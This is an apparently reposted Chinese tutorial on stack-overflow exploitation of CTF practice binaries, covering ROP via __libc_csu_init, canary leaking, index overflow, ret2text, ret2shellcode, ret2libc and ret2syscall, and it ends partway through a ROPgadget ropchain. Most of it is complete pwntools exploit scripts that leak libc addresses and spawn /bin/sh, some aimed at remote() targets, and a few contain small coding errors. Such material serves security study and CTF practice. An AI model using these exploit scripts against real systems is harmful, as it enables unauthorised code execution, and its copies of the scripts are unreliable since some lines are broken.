编程开源技术交流,分享技术与知识

网站首页 > 开源技术 正文

二进制安全之栈溢出(下)(二进制溢出怎么得结果)

wxchong 2024-08-22 23:58:23 开源技术 9 ℃ 0 评论

栈劫持

整形溢出

实验

调试

程序一 :rop链 & _libc_csu_init

ROP

  • IDA静态分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function(*(_QWORD *)&argc, argv, envp);
  return write(1, "Hello, World!\n", 0xEuLL);
}
ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]	 说明buf到rbp有0x80字节。即buf[0x80]
  write(1, "Input:\n", 7uLL);
  return read(0, &buf, 0x200uLL);	 //从标准控制台向buf读入0x200
}


攻击脚本

from pwn import *
context.arch = "amd64"
context.log_level = "debug"
context.terminal=["tmux","splitw","-h"]

if len(sys.argv) < 2:
	debug=True 
else:
	debug=False
if debug:
	p = process("./level3_x64")
	elf = ELF("./level3_x64")
	libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
else:
	p = remote("x.x.x.x",xxxx)
	elf = ELF("./level3_x64")
	libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

def debugf():
	gdb.attach(p,"b *0x400602")
#debugf()
padding = 0x80 * "a"
padding_rbp = "junkjunk"
write_plt = elf.plt["write"]	
write_got = elf.got["write"]    
# target : write(1,write_got,8)
pop_rdi_ret = 0x4006b3
pop_rsi_r15_ret = 0x4006b1
main_addr = 0x40061A

payload = padding + padding_rbp + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(write_got) + p64(0) + p64(write_plt) + p64(main_addr) 	
p.sendafter("Input:\n",payload)
addr = u64(p.recv(6).ljust(8,"\x00"))
libc.address = addr - libc.symbols["write"]
binsh = libc.search("/bin/sh").next()
system = libc.symbols["system"]
payload = padding + "junkjunk" + p64(pop_rdi_ret) + p64(binsh) + p64(system)
p.sendafter("Input:\n",payload)

p.interactive()

思路

泄露system在libc中的地址

通过write函数泄露system的地址

先通过plt中的wrtite jump到got中的write函数的地址,然后通过offset计算libc的基址,然后泄露system的地址

可以将第一个return的内容覆盖为plt["write"]的地址

即write(1,write_got,8) 调用write_got,打印8个字节到屏幕上

寻找rop链 rdi_pop_rsi_pop_rdx_ret,保存write函数的参数与返回地址

64位程序的参数压栈顺序rdi,rsi,rdx,rcx,r8,r9

?  level3_x64 ROPgadget --binary level3_x64 --only 'pop|ret'
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400550 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400499 : ret
由于在rop链中没有发现rdx,暂时不去使用rdx,因为rdx中本来就可能含有大于8的数,因此对我们而言传参与否意义不大,只是成功率的问题,直接返回到main_addr即可

.text:000000000040061A ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:000000000040061A                 public main
.text:000000000040061A main            proc near               ; DATA XREF: _start+1D↑o


libc_csu_init

  • 解决rop链中无rdx的思路
a. 调用libc_csu_init
b. libc_csu_init有rdx
c. 在libc_csu_init循环构造payload

libc_csu_init的内存布局

.text:0000000000400650 __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:0000000000400650 ; __unwind {
.text:0000000000400690
.text:0000000000400690 loc_400690:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400690                 mov     rdx, r13				// 4. 将r13给到了rdx
.text:0000000000400693                 mov     rsi, r14				// 5. 控制rsi
.text:0000000000400696                 mov     edi, r15d			// 6. 控制rdi的低四位,注意这里不能存放下6字节的/bin/sh
.text:0000000000400699                 call    qword ptr [r12+rbx*8]	;7. 给rbx赋0,相当于call [r12],
																					; 将system的地址写入其中bss中,将bss_addr写入其中
.text:000000000040069D                 add     rbx, 1
.text:00000000004006A1                 cmp     rbx, rbp			  //9. 使rbp=1,跳过jnz
.text:00000000004006A4                 jnz     short loc_400690
.text:00000000004006A6
.text:00000000004006A6 loc_4006A6:                             ; CODE XREF: __libc_csu_init+36↑j
.text:00000000004006A6                 add     rsp, 8
.text:00000000004006AA                 pop     rbx					//1. 控制函数从这里执行
.text:00000000004006AB                 pop     rbp
.text:00000000004006AC                 pop     r12					//8. 给r12添一个main_addr
.text:00000000004006AE                 pop     r13					//2. 通过栈控制r13
.text:00000000004006B0                 pop     r14
.text:00000000004006B2                 pop     r15
.text:00000000004006B4                 retn								 //3. ret到main_addr
.text:00000000004006B4 ; } // starts at 400650
.text:00000000004006B4 __libc_csu_init endp
//实现通过栈控制rdx

空闲的bss段

.bss:0000000000600A89                 db    ? ;	向其中写入system的地址,call [r12] ,将r12改为0x600A89 
.bss:0000000000600A8A                 db    ? ;
.bss:0000000000600A8B                 db    ? ;

坑点

call qword ptr [r12+rbx*8]	;寄存器间接寻址,需要把system的地址写入bss

mov edi, r15d	;只能存放4个字节,存放不了/bin/sh

_libc_csu_init攻击脚本实现

from pwn import *
context.arch = "amd64"
context.log_level = "debug"
context.terminal=["tmux","splitw","-h"]

if len(sys.argv) < 2:
	debug=True 
else:
	debug=False
if debug:
	p = process("./level3_x64")
	elf = ELF("./level3_x64")
	libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
else:
	p = remote("x.x.x.x",xxxx)
	elf = ELF("./level3_x64")
	libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

def lib_csu_init(ret_address,call,p1,p2,p3):
	pop_ret7 = 0x4006AA					
	libc_csu_init_addr = 0x400690	
	payload = 0x80*'a' + p64(0)				# padding_ebp
	payload+= p64(pop_ret7)
	payload+= p64(0) + p64(1) + p64(call)	#rbx rbp r12
	payload+= p64(p3) + p64(p2) + p64(p1)   #r13 r14 r15
	payload+= p64(libc_csu_init_addr)		#ret 
	payload+= p64(0)*7						#clear rsp rbx rbp r12  r13 r14 r15
	payload+= p64(ret_address)
	p.sendafter("Input:\n",payload)

def debugf():
	gdb.attach(p,"b *0x400602")
#debugf()
write_plt = elf.plt["write"]	
write_got = elf.got["write"]    
read_got = elf.got["read"]  
main_addr = 0x40061A
bss_addr = 0x600A89

lib_csu_init(main_addr,write_got,1,write_got,0x8)
write_addr = u64(p.recv(8))
log.success("write_addr:" + hex(write_addr))
libc.address = write_addr - libc.symbols["write"]
log.success("libc.address:" + hex(libc.address))
lib_csu_init(main_addr,read_got,0,bss_addr,16)	# 16 is the param of read 
# read system to bss_addr and write "/bin/sh to bss_addr+8"
#binsh = libc.search("/bin/sh").next() not need anymore
system = libc.symbols["system"]
p.send(p64(system)+"/bin/sh\x00")
#lib_csu_init(main_addr,bss_addr,binsh,0,0) binsh has 6 bytes ,r15 can't store 
lib_csu_init(main_addr,bss_addr,bss_addr+8,0,0)
p.interactive()


  • 调试
  1. 设置断点到* 0x4006AA


  1. 第一次循环结束后



  1. 返回到main


  1. 打印libc的地址


  1. 查看bss_addr的内容

程序二 :canary

  • IDA静态分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  puts("Hello Hacker!");
  vuln();
  return 0;
}
unsigned int vuln()
{
  signed int i; // [esp+4h] [ebp-74h]
  char buf; // [esp+8h] [ebp-70h]
  unsigned int v3; // [esp+6Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);					//从fs:28h读取canary到栈
  for ( i = 0; i <= 1; ++i )
  {
    read(0, &buf, 0x200u);					  //溢出点
    printf(&buf);										 //如果没有printf,可以通过_dl_runtime_resolv泄露canary
  }
  return __readgsdword(0x14u) ^ v3;		//异或栈中的canary与内核中的md5
}

利用方法

在ebp – 0x0c的地址覆盖为canary值

泄露canary的值

攻击脚本

from pwn import *
p = process("./leak_canary")
get_shell = 0x0804859B
p.recvuntil("Hello Hacker!\n")
offset = 0x70-0xC							# 到达canary的偏移地址
payload = (offset)*"a" + "b"	 # 覆盖掉canary的最后的"\0"字节,这时就可以打印出canary了
p.send(payload)
p.recvuntil("ab")						  #在canary之前截断,在没有printf,可以通过_dl_runtime_resolv泄露canary
canary = u32(p.recv(3).rjust(4,"\x00"))	#接收三字节的canary,并用0将第四个字节补齐
log.success("canary:"+hex(canary))		  
payload2 =(offset)*"a" + p32(canary) + "b"*12 + p32(get_shell)	# 最终payload
p.send(payload2)
p.interactive()

程序三 :canary(不需绕过)

  • IDA静态分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  unsigned int v5; // [esp+18h] [ebp-90h]
  unsigned int v6; // [esp+1Ch] [ebp-8Ch]
  int v7; // [esp+20h] [ebp-88h]
  unsigned int j; // [esp+24h] [ebp-84h]
  int v9; // [esp+28h] [ebp-80h]
  unsigned int i; // [esp+2Ch] [ebp-7Ch]
  unsigned int k; // [esp+30h] [ebp-78h]
  unsigned int l; // [esp+34h] [ebp-74h]
  char v13[100]; // [esp+38h] [ebp-70h]
  unsigned int v14; // [esp+9Ch] [ebp-Ch]

  v14 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  v9 = 0;
  puts("***********************************************************");
  puts("*                      An easy calc                       *");
  puts("*Give me your numbers and I will return to you an average *");
  puts("*(0 <= x < 256)                                           *");
  puts("***********************************************************");
  puts("How many numbers you have:");
  __isoc99_scanf("%d", &v5);
  puts("Give me your numbers");
  for ( i = 0; i < v5 && (signed int)i <= 99; ++i )
  {
    __isoc99_scanf("%d", &v7);
    v13[i] = v7;
  }
  for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
          __isoc99_scanf("%d", &v6);
          if ( v6 != 2 )
            break;
          puts("Give me your number");
          __isoc99_scanf("%d", &v7);
          if ( j <= 0x63 )
          {
            v3 = j++;
            v13[v3] = v7;
          }
        }
        if ( v6 > 2 )
          break;
        if ( v6 != 1 )
          return 0;
        puts("id\t\tnumber");
        for ( k = 0; k < j; ++k )
          printf("%d\t\t%d\n", k, v13[k]);
      }
      if ( v6 != 3 )
        break;
      puts("which number to change:");
      __isoc99_scanf("%d", &v5);				//v5是序号,无大小限制,造成漏洞点
      puts("new number:");
      __isoc99_scanf("%d", &v7);			  	
      v13[v5] = v7;			
    }
    if ( v6 != 4 )
      break;
    v9 = 0;
    for ( l = 0; l < j; ++l )
      v9 += v13[l];
  }
  return 0;
}

利用原理

v5无大小限制,形成漏洞点

可以看到 char v13[100]; // [esp+38h] [ebp-70h],当v5 = 28的时候,28*4=102=0×70,第29个字节就是EBP,第30个字节就是ret。

控制输入v7的内容和长度,实现ret的精准覆盖。

因此这道题不需要绕过canary。

程序四 :ret2text

  • IDA静态分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h] 	padding=0x64+0x8

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("There is something amazing here, do you know anything?");
  gets(&s);		//溢出点
  printf("Maybe I will tell you next time !");
  return 0;
}

void secure()			//函数模板库,CTRL+E查看
{
  unsigned int v0; // eax
  int input; // [esp+18h] [ebp-10h]
  int secretcode; // [esp+1Ch] [ebp-Ch]

  v0 = time(0);
  srand(v0);
  secretcode = rand();
  __isoc99_scanf((const char *)&unk_8048760, &input);
  if ( input == secretcode )
    system("/bin/sh");				//wonderful,理想的返回地址
}

利用原理

找到溢出点:gets(&s)

判断填充长度 : s到ebp的大小加4字节ebp,即 0×64 – 0x1c + 0×4

判断ebp和esp寻址的小技巧:在IDA的变量s处双击,能进入到反汇编窗口即esp寻址

gdb调试

checksec

Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
 // 可以看到没有开启ALSR和PIE,这时我们下断点的时候不用考虑地址随机化

设置断点到s

.text:080486AB mov [esp], eax ; s

在IDA中静态查看s的地址,取其偏移地址080486AB

在gdb中 b *0x080486AB 即可

计算填充长度

 EAX  0xffffce8c —? 0x8048329 ?— 0x696c5f5f /* '__libc_start_main' */
 EBX  0x0
 ECX  0xffffffff
 EDX  0xf7fb8870 (_IO_stdfile_1_lock) ?— 0x0
 EDI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ?— 0x1b1db0
 ESI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ?— 0x1b1db0
 EBP  0xffffcef8 ?— 0x0
 ESP  0xffffce70 —? 0x804876c ?— 0x72656854 /* 'There is something amazing here, do you know anything?'
 /*
 EDX接收s
 填充长度为EBP-EAX = 0x6c
 */

覆写返回地址到system("/bin/sh");

a. 使用IDA查看bin/sh的地址

.text:0804863A                 mov     dword ptr [esp], offset command ; "/bin/sh"
.text:08048641                 call    _system 

攻击脚本

from pwn import *
context.log_level = "debug"				   			# context预设环境
context.arch = "i386"
context.terminal = ["tmux","splitw","-h"]  # tmux   垂直分屏

if len(sys.argv) < 2:
	debug = True 
else:
	debug = False 
	
if debug:
		p = process("./ret2text")		   # process表示当前程序的发送和接收(交互)
		elf = ELF("./ret2text")			   # ELF载入当前程序的ELF,以获取符号表,代码段,段地址,plt,got信息
		libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')		# 载入libc的库,可以通过vmmap查看 

else:
	p = remote("x.x.x.x",1088)
	elf = ELF("./ret2text")			   
	libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')		
	
def debugf():
	gdb.attach(p,"b *0x80486AB")
debugf()
padding = (0x64+8)*a
ebp_padding = "aaaa"
system_addr = 0x0804863A
payload = padding + ebp_padding + p32(system_addr)
p.sendlineafter("do you know anything?\n",payload)	#需要加"\n",因为puts在程序最后加"\n"
p.interactive()		# 接收shell

程序五 :ret2shellcode

  • IDA静态分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets(&s);
  strncpy(buf2, &s, 0x64u);
  printf("bye bye ~");
  return 0;
}

设置断点

.text:08048590                 mov     [esp], eax      ; s		设置到断点gets之前
.text:08048593                 call    _gets

溢出地址

.bss:0804A080 buf2            db 64h dup(?)           ; DATA XREF: main+7B↑o

攻击脚本

#!/usr/bin/env python
from pwn import *
context.arch ="i386"
context.log_level = "debug"
context.terminal = ["tmux","splitw","-h"]
if len(sys.argv < 2):
	debug = True 
else:
	debug = False

if debug:
	p = process('./ret2shellcode')
	elf = ELF('./ret2shellcode')
	libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
	p = remote('xx.xx.xx.xx',1111)
	elf = ELF('./ret2shellcode')
	libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
def debugf():
	gdb.attach(p,"b *08048590")
debugf()
#padding 	 = 0x64+8
#padding_ebp = 0x4

shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x6c,"a") + "junk"
buf2_addr = 0x804a080
payload += p32(buf2_addr)
p.sendlineafter("No system for you this time !!!\n",payload)
p.interactive()

流程

64字节shelllcode覆盖s

填充8字节到达main函数的ebp

“junk”覆盖掉rbp的内容

将return的内容覆盖为buf2的地址字节流:p32(buf2_addr)

注意点

buf2位于bss段,如果程序开启了pie,是不能通过ida读取的。

ljust函数用于补充指定大小的字节

asm(shellcraft.sh())用于自动生成shellcode

手写shellcode

shellcode = asm(
"mov ebp,esp"
"push ebp"
"mov eax,08808188a"	;向0x08808188a传入一个bin/sh
"mov [esp],eax"
"call system"
)

调试

finish到main函数

buf的内存布局

EAX  0x804a080 (buf2) ?— 0x2f68686a
0x80485af <main+130>    call   strncpy@plt <0x8048420>
00:0000│ esp  0xff906df0 —? 0x804a080 (buf2) ?— 0x2f68686a

x/20gz 0x804a080
0x804a080 <buf2>:       0x68732f2f2f68686a      0x0168e3896e69622f
0x804a090 <buf2+16>:    0x6972243481010101      0x59046a51c9310101
返回地址

0x80485c6 <main+153>    ret       <0x804a080; buf2> ==>可以看到将main返回地址覆盖成了buf2的地址
shellcode

00:0000│ esp  0xff906e74 ?— '/bin///sh'
01:0004│      0xff906e70 ?— 0x6873 /* 'sh' */
0x804a0aa <buf2+42>    int    0x80  ==> 此时中断退出

程序六 :ret2libc

  • IDA静态分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("RET2LIBC >_<");
  gets(&s);
  return 0;
}

.rodata:08048720 aBinSh          db '/bin/sh',0          ; DATA XREF: .data:shell↓o

.text:08048618 ; __unwind {															 ==>main函数的地址,用以中转
.text:08048618                 push    ebp
.text:08048619                 mov     ebp, esp

.text:0804867B                 mov     [esp], eax      ; s	==>设置断点
.text:0804867E                 call    _gets

保护机制

?  ret2libc1 checksec ret2libc1  
[*] '/mnt/hgfs/ctf_debug/stack/ret2libc1/ret2libc1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

攻击脚本

from pwn import *
context.arch = "i386"
context.log_level = "debug"
context.terminal = ["tmux","splitw","-h"]
if len(sys.argv) < 2:
	debug  = True 
else:
	debug = False

if debug:
	p = process("./ret2libc1")
	elf = ELF("./ret2libc1")
	libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
else:
	p = remote("x.x.x.x",xxxx)
	elf = ELF("./ret2libc1")
	libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
def debugf():
	gdb.attach(p,"b *0804867B")	  # 设置断点到gets之前	
debugf()
binsh = 0x08048720
puts_plt = elf.plt["puts"]		
'''
注意到到当前程序中有puts函数,通过plt表找到puts函数的地址以准备leak puts在libc中的地址
这里不能使用got表,got里面的地址需要call。
'''
puts_got = elf.got["puts"]
main_addr = 0x08048618
padding = 0x6c * "a"
padding_ebp = 'junk'

payload = padding + padding_ebp + p32(puts_plt) + p32(main_addr) + p32(puts_got)
'''
main_addr:puts_plt的返回地址
puts_got:puts_plt的参数
'''

p.sendlineafter("RET2LIBC >_<\n",payload)
puts_addr = u32(p.recv(4)) 
log.success("puts_addr : " + hex(puts_addr)) 
'''
调用puts函数打印puts函数在libc中的地址
libc的地址为4个字节
'''
libc.address = puts_addr - libc.symbols["puts"]
log.success("libc.address : " + hex(libc.address))
system_addr = libc.symbols["system"]
'''
libc.symbol["puts"]为puts在libc中的offset
至此载入libc的基址
'''
log.success("system_addr : " + hex(system_addr))
'''
如果程序本身没有/bin/sh的话
binsh = libc.search("/bin/sh").next()
log.success("binsh : " + hex(binsh))
'''
padding = 0x64 * "a"
payload = padding + padding_ebp + p32(system_addr) + 'junk' + p32(binsh)
'''
0x64 * "a" : 因为第二次寻址方式为ebp寻址,不用加8
这里的junk为p32(system_addr)的返回地址
'''
p.sendlineafter("RET2LIBC >_<\n",payload)
p.interactive()

思路

泄露libc的地址需要使用libc中函数如puts函数的地址减去偏移量获得

调用puts_plt函数将puts_got的地址打印出来,puts_got的地址的地址即是libc中puts的地址

通过第一次溢出获得libc中puts的地址。构造一次循环,返回到main

通过puts的地址计算libc的地址,通过symbols从而得到system的地址

第二次计算padding的大小按照ebp寻址,直接为0×64,因为这时候直接返回到了ESP

调试

finish到main

查看栈布局 stack50


main得返回地址被正确填充为puts


进入got的puts函数,leak出的地址信息,查看当前的栈布局




再次跳转回main函数,发送payload

ebp被正确覆盖为junk,return被正确覆盖为system的地址,system函数的返回地址被覆盖为junk,参数成功覆盖成/bin/sh的地址

攻击脚本2(在程序段无/bin/sh的通用利用方式,向bss段写入/bin/sh)

from pwn import *
context.arch = "i386"
context.log_level = "debug"
context.terminal = ["tmux","splitw","-h"]
if len(sys.argv) < 2:
	debug  = True 
else:
	debug = False

if debug:
	p = process("./ret2libc1")
	elf = ELF("./ret2libc1")
	libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
else:
	p = remote("x.x.x.x",xxxx)
	elf = ELF("./ret2libc1")
	libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
def debugf():
	gdb.attach(p,"b *0804867B")	 
puts_plt = elf.plt["puts"]		
puts_got = elf.got["puts"]
gets_plt = elf.plt["gets"]
main_addr = 0x08048618
bss_addr = 0x0804A064
padding = 0x6c * "a"
padding_ebp = 'junk'

payload = padding + padding_ebp + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendlineafter("RET2LIBC >_<\n",payload)
puts_addr = u32(p.recv(4)) 
log.success("puts_addr : " + hex(puts_addr)) 
libc.address = puts_addr - libc.symbols["puts"]
log.success("libc.address : " + hex(libc.address))
system_addr = libc.symbols["system"]
log.success("system_addr : " + hex(system_addr))
padding = 0x64 * "a"
payload = padding + padding_ebp + p32(gets_plt) + p32(system_addr) + p32(bss_addr) + p32(bss_addr)
p.sendlineafter("RET2LIBC >_<\n",payload)
p.send("/bin/sh\n")
p.interactive()

思路

寻找一片空闲的bss段区域

.bss:0804A060                                         ; main+9↑r
.bss:0804A060                                         ; Alternative name is 'stdout'
.bss:0804A060                                         ; Copy of shared data
.bss:0804A064 completed_6591  db ?                    ; DATA XREF: __do_global_dtors_aux↑r
.bss:0804A064                                         ; __do_global_dtors_aux+14↑w
gets_plt用于向紧接着返回地址system_addr之后的p32(bss_addr)写入数据,返回到system_addr,执行最后的p32(bss_addr)

程序七 :ret2syacall & ropchain

对于静态编译程序

? speedrun ldd speedrun? 不是动态可执行文件

在有栈溢出的时候,优先考虑ropchain的方法。

ret2syacall

  • IDA静态分析
查找字符串

.text:0000000000400B6B lea rdi, aAnyLastWords ; "c"

进入main函数

__int64 sub_400B60()
{
char buf; // [rsp+0h] [rbp-400h]

sub_410390("Any last words?");
sub_4498A0(0, &buf, 0x7D0uLL);
return sub_40F710((unsigned __int64)"This will be the last thing that you say: %s\n");
}
索引到
__int64 sub_400BC1()											==>main函数
{
const char *v0; // rdi

sub_410590(off_6B97A0, 0LL, 2LL, 0LL);    ==>setbuf
v0 = "DEBUG";	
if ( !sub_40E790("DEBUG") )							 ==>setenv
 v0 = (const char *)5;
sub_400B4D(v0);
sub_400B60();
sub_400BAE();
return 0LL;
}

__int64 sub_400B4D()										  ==>puts
{
return sub_410390("Hello brave new challenger");
}

__int64 sub_400B60()											==>printf
{
char buf; // [rsp+0h] [rbp-400h]

sub_410390("Any last words?");
sub_4498A0(0, &buf, 0x7D0uLL);					==>read  ,溢出点
return sub_40F710((unsigned __int64)"This will be the last thing that you say: %s\n", &buf); ==>手动添加参数buf
}

edit – keypatch修改alarm为nop,为了方便调试

根据函数的功能确定函数的类型

思路

设置断点

.text:0000000000400B60 ; __unwind {
.text:0000000000400B60                 push    rbp
.text:0000000000400B61                 mov     rbp, rsp
.text:0000000000400B64                 sub     rsp, 400h
.text:0000000000400B6B                 lea     rdi, aAnyLastWords ; "Any last words?"
.text:0000000000400B72                 call    sub_410390
.text:0000000000400B77                 lea     rax, [rbp+buf]
.text:0000000000400B7E                 mov     edx, 7D0h       ; count
.text:0000000000400B83                 mov     rsi, rax        ; buf
.text:0000000000400B86                 mov     edi, 0          ; fd
.text:0000000000400B8B                 call    sub_4498A0		==>call read
.text:0000000000400B90                 lea     rax, [rbp+buf]
.text:0000000000400B97                 mov     rsi, rax        ; char *
.text:0000000000400B9A                 lea     rdi, aThisWillBeTheL ; "This will be the last thing that you sa"...
.text:0000000000400BA1                 mov     eax, 0
.text:0000000000400BA6                 call    sub_40F710
.text:0000000000400BAB                 nop
.text:0000000000400BAC                 leave
.text:0000000000400BAD                 retn
.text:0000000000400BAD ; } // starts at 400B60

搜索syscall

?  speedrun ROPgadget --binary speedrun --only 'int'    
Gadgets information
============================================================
0x000000000046817a : int 0x80

Unique gadgets found: 1

寻找rop链

?  speedrun ROPgadget --binary speedrun --only 'pop|ret' | grep rax
0x0000000000481c76 : pop rax ; pop rdx ; pop rbx ; ret		==pop_rax_rdx_rbx_ret
0x0000000000415664 : pop rax ; ret
0x000000000048cccb : pop rax ; ret 0x22

?  speedrun ROPgadget --binary speedrun --only 'pop|ret' | grep rdx
0x0000000000481c76 : pop rax ; pop rdx ; pop rbx ; ret
0x000000000044be14 : pop rdx ; pop r10 ; ret
0x0000000000481c77 : pop rdx ; pop rbx ; ret
0x000000000044be39 : pop rdx ; pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret

?  speedrun ROPgadget --binary speedrun --only 'pop|ret' | grep rdi
0x0000000000402615 : pop rdi ; pop rbp ; ret
0x0000000000400686 : pop rdi ; ret
?  speedrun ROPgadget --binary speedrun --only 'pop|ret' | grep rsi
0x000000000044be39 : pop rdx ; pop rsi ; ret
0x0000000000402613 : pop rsi ; pop r15 ; pop rbp ; ret
0x0000000000400684 : pop rsi ; pop r15 ; ret
0x000000000040f95e : pop rsi ; pop rbp ; ret
0x00000000004101f3 : pop rsi ; ret

read一个/bin/sh

.text:00000000004498A0 ; __unwind {
.text:00000000004498A0                 mov     eax, cs:dword_6BC80C
.text:00000000004498A6                 test    eax, eax
.text:00000000004498A8                 jnz     short loc_4498C0
.text:00000000004498AA                 xor     eax, eax	==>read_addr
.text:00000000004498AC                 syscall                 ; LINUX - sys_read

.bss:00000000006BB3B2                 db    ? ;	==>binsh_addr
.bss:00000000006BB3B3                 db    ? ;
.bss:00000000006BB3B4                 db    ? ;
.bss:00000000006BB3B5                 db    ? ;
构造rop链

payload = 0x400*'a' + 'junkjunk' + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(bss_addr) + p64(pop_rdx_ret) + p64(0x10) + p64(read_addr)

payload += p64(pop_rax_rdx_ret) + p64(0x3b) + p64(0) + p64(0) + p64(pop_rdi_ret) + p64(bss_addr) + p

攻击脚本

from pwn import * 
context.log_level = "debug"
context.arch = 'amd64'
context.terminal =["tmux","splitw","-h"]

if len(sys.argv)<2:
	debug =True
else:
	debug =False
	
if debug:
	p =process("./speedrun")
else :
	p = remote("xxxx",xxx)
	
def debugf():
	gdb.attach(p,"b * 0x4498E2")
	
# rax 0x3b
# rdi /bin/sh 
# rsi NULL 0
# rdx NULL 0
pop_rax_rdx_rbx_ret = 0x481c76
pop_rdi_ret  =0x400686
pop_rsi_ret  =0x4101f3
#read_addr 	 =0x4498A0
read_addr 	 =0x4498AA
syscall=0x46817a
bss_addr = 0x6BB3B3
padding = 'a'*0x400 
pop_rdx_ret =0x4498b5
#debugf()
payload =  padding + "junkjunk" + p64(pop_rdi_ret) + p64(0) +p64(pop_rsi_ret) + p64(bss_addr) +p64(pop_rdx_ret)+p64(0x8)
# p64(0) is the para of  p64(pop_rdi_ret),p64(bss_addr) is the para of p64(pop_rsi_ret)...
payload += p64(read_addr) + p64(pop_rax_rdx_rbx_ret)+p64(0x3b)+p64(0)+p64(0)+p64(pop_rdi_ret) + p64(bss_addr) +p64(pop_rsi_ret)
payload += p64(0)+p64(syscall)
p.sendafter("Any last words?\n",payload)
p.send("/bin/sh\x00")
p.interactive()

调试

read之后的栈布局


ropchain

  • 寻找ropchain
ROPgadget –binary speedrun –ropchain

攻击脚本

from pwn import * 

if len(sys.argv)<2:
	debug =True
else:
	debug =False
	
if debug:
	p =process("./speedrun-001")
else :
	p = remote("xxxx",xxx)
	
def ropchanin():	
	from struct import pack

	# Padding goes here
	p = ''

	p += pack('<Q', 0x00000000004101f3) # pop rsi ; ret
	p += pack('<Q', 0x00000000006b90e0) # @ .data
	p += pack('<Q', 0x0000000000415664) # pop rax ; ret
	p += '/bin//sh'
	p += pack('<Q', 0x000000000047f471) # mov qword ptr [rsi], rax ; ret
	p += pack('<Q', 0x00000000004101f3) # pop rsi ; ret
	p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
	p += pack('<Q', 0x0000000000444bc0) # xor rax, rax ; ret
	p += pack('<Q', 0x000000000047f471) # mov qword ptr [rsi], rax ; ret
	p += pack('<Q', 0x0000000000400686) # pop rdi ; ret
	p += pack('<Q', 0x00000000006b90e0) # @ .data
	p += pack('<Q', 0x00000000004101f3) # pop rsi ; ret
	p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
	p += pack('<Q', 0x00000000004498b5) # pop rdx ; ret
	p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
	p += pack('<Q', 0x0000000000444bc0) # xor rax, rax ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
	p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
